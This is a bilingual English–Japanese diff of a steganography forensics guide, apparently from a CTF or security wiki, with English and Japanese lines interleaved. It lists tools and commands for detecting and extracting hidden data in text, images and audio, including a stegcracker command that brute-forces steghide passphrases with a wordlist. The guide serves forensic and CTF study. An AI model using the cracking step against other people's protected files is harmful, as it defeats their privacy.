Useful for comparing a modified file with its original version found online.
```bash ```bash
cmp original.jpg stego.jpg -b -l cmp original.jpg stego.jpg -b -l
``` ```
## **テキスト内の隠れたデータの抽出**
## **Extracting Hidden Data in Text** ### **スペース内の隠れたデータ**
### **Hidden Data in Spaces** 見た目には空のスペースに隠された情報があるかもしれません。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)を訪れてください。
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). ## **画像からのデータの抽出**
## **Extracting Data from Images** ### **GraphicMagickを使用した画像詳細の特定**
### **Identifying Image Details with GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
[GraphicMagick](https://imagemagick.org/script/download.php)は、画像ファイルの種類を特定し、潜在的な破損を識別するために使用されます。画像を検査するには、以下のコマンドを実行してください:
```bash ```bash
./magick identify -verbose stego.jpg ./magick identify -verbose stego.jpg
``` ```
損傷した画像の修復を試みるために、メタデータコメントを追加することが役立つかもしれません:
To attempt repair on a damaged image, adding a metadata comment might help:
```bash ```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
``` ```
### **データ隠蔽のためのSteghide**
### **Steghide for Data Concealment** Steghideは、`JPEG, BMP, WAV, AU`ファイル内にデータを隠すことを容易にし、暗号化されたデータの埋め込みと抽出が可能です。インストールは`apt`を使用して簡単に行え、[ソースコードはGitHubで入手可能です](https://github.com/StefanoDeVuono/steghide)。
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide). **コマンド:**
**Commands:** - `steghide info file`は、ファイルに隠されたデータが含まれているかどうかを明らかにします。
- `steghide extract -sf file [--passphrase password]`は、隠されたデータを抽出します。パスワードはオプションです。
- `steghide info file` reveals if a file contains hidden data. ウェブベースの抽出については、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html). **Stegcrackerによるブルートフォース攻撃:**
**Bruteforce Attack with Stegcracker:**
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
- Steghideのパスワードクラッキングを試みるには、[stegcracker](https://github.com/Paradoxis/StegCracker.git)を次のように使用します:
```bash ```bash
stegcracker <file> [<wordlist>] stegcracker <file> [<wordlist>]
``` ```
### **zsteg for PNG and BMP Files** ### **zsteg for PNG and BMP Files**
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg). zstegはPNGおよびBMPファイル内の隠れたデータを発見することに特化しています。インストールは`gem install zsteg`で行い、[GitHubのソース](https://github.com/zed-0xff/zsteg)があります。
**Commands:** **Commands:**
- `zsteg -a file` applies all detection methods on a file. - `zsteg -a file`はファイルに対してすべての検出方法を適用します。
- `zsteg -E file` specifies a payload for data extraction. - `zsteg -E file`はデータ抽出のためのペイロードを指定します。
### **StegoVeritas and Stegsolve** ### **StegoVeritas and Stegsolve**
**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks. **stegoVeritas**はメタデータをチェックし、画像変換を行い、LSBブルートフォースなどの機能を適用します。オプションの完全なリストは`stegoveritas.py -h`を使用し、すべてのチェックを実行するには`stegoveritas.py stego.jpg`を使用します。
**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). **Stegsolve**はさまざまなカラーフィルターを適用して、画像内の隠れたテキストやメッセージを明らかにします。これは[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)で入手可能です。
### **FFT for Hidden Content Detection** ### **FFT for Hidden Content Detection**
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include: 高速フーリエ変換FFT技術は、画像内の隠されたコンテンツを明らかにすることができます。役立つリソースには以下が含まれます
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) - [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
@ -132,20 +114,18 @@ Fast Fourier Transform (FFT) techniques can unveil concealed content in images.
### **Stegpy for Audio and Image Files** ### **Stegpy for Audio and Image Files**
Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy). Stegpyは、PNG、BMP、GIF、WebP、WAVなどの形式をサポートし、画像および音声ファイルに情報を埋め込むことを可能にします。これは[GitHub](https://github.com/dhsdshdhk/stegpy)で入手可能です。
### **Pngcheck for PNG File Analysis** ### **Pngcheck for PNG File Analysis**
To analyze PNG files or to validate their authenticity, use: PNGファイルを分析したり、その真正性を検証するには、次のコマンドを使用します
```bash ```bash
apt-get install pngcheck apt-get install pngcheck
pngcheck stego.png pngcheck stego.png
``` ```
### **画像分析のための追加ツール**
### **Additional Tools for Image Analysis** さらなる探索のために、以下を訪れることを検討してください:
For further exploration, consider visiting:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) - [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) - [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@ -153,66 +133,60 @@ For further exploration, consider visiting:
- [OpenStego](https://www.openstego.com/) - [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/) - [DIIT](https://diit.sourceforge.net/)
## **Extracting Data from Audios** ## **オーディオからのデータ抽出**
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content. **オーディオステガノグラフィ**は、音声ファイル内に情報を隠す独自の方法を提供します。隠されたコンテンツを埋め込むまたは取得するために、さまざまなツールが利用されます。
### **Steghide (JPEG, BMP, WAV, AU)** ### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide). Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すために設計された多目的ツールです。詳細な手順は[stego tricks documentation](stego-tricks.md#steghide)に記載されています。
### **Stegpy (PNG, BMP, GIF, WebP, WAV)** ### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). このツールは、PNG、BMP、GIF、WebP、およびWAVを含むさまざまなフォーマットに対応しています。詳細については[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)を参照してください。
### **ffmpeg** ### **ffmpeg**
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies. ffmpegは、オーディオファイルの整合性を評価するために重要であり、詳細な情報を強調し、いかなる不一致を特定します。
```bash ```bash
ffmpeg -v info -i stego.mp3 -f null - ffmpeg -v info -i stego.mp3 -f null -
``` ```
### **WavSteg (WAV)** ### **WavSteg (WAV)**
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include: WavStegは、最下位ビット戦略を使用してWAVファイル内にデータを隠蔽および抽出するのに優れています。これは[GitHub](https://github.com/ragibson/Steganography#WavSteg)で入手可能です。コマンドには次が含まれます:
```bash ```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
``` ```
### **Deepsound** ### **Deepsound**
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx). Deepsoundは、AES-256を使用して音声ファイル内の情報を暗号化および検出することを可能にします。 [公式ページ](http://jpinsoft.net/deepsound/download.aspx)からダウンロードできます。
### **Sonic Visualizer** ### **Sonic Visualizer**
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more. 音声ファイルの視覚的および分析的検査において非常に貴重なツールであるSonic Visualizerは、他の手段では検出できない隠れた要素を明らかにすることができます。 詳細は[公式ウェブサイト](https://www.sonicvisualiser.org/)をご覧ください。
### **DTMF Tones - Dial Tones** ### **DTMF Tones - Dial Tones**
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html). 音声ファイル内のDTMFトーンを検出するには、[このDTMF検出器](https://unframework.github.io/dtmf-detect/)や[DialABC](http://dialabc.com/sound/detect/index.html)などのオンラインツールを使用できます。
## **Other Techniques** ## **Other Techniques**
### **Binary Length SQRT - QR Code** ### **Binary Length SQRT - QR Code**
Binary data that squares to a whole number might represent a QR code. Use this snippet to check: 整数に平方するバイナリデータはQRコードを表す可能性があります。これをチェックするには、このスニペットを使用してください
```python ```python
import math import math
math.sqrt(2500) #50 math.sqrt(2500) #50
``` ```
バイナリから画像への変換については、[dcode](https://www.dcode.fr/binary-image)を確認してください。QRコードを読むには、[このオンラインバーコードリーダー](https://online-barcode-reader.inliteresearch.com/)を使用してください。
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). ### **点字翻訳**
### **Braille Translation** 点字の翻訳には、[Branah Braille Translator](https://www.branah.com/braille-translator)が優れたリソースです。
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource. ## **参考文献**
## **References**
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) - [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) - [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)

Some files were not shown because too many files have changed in this diff Show More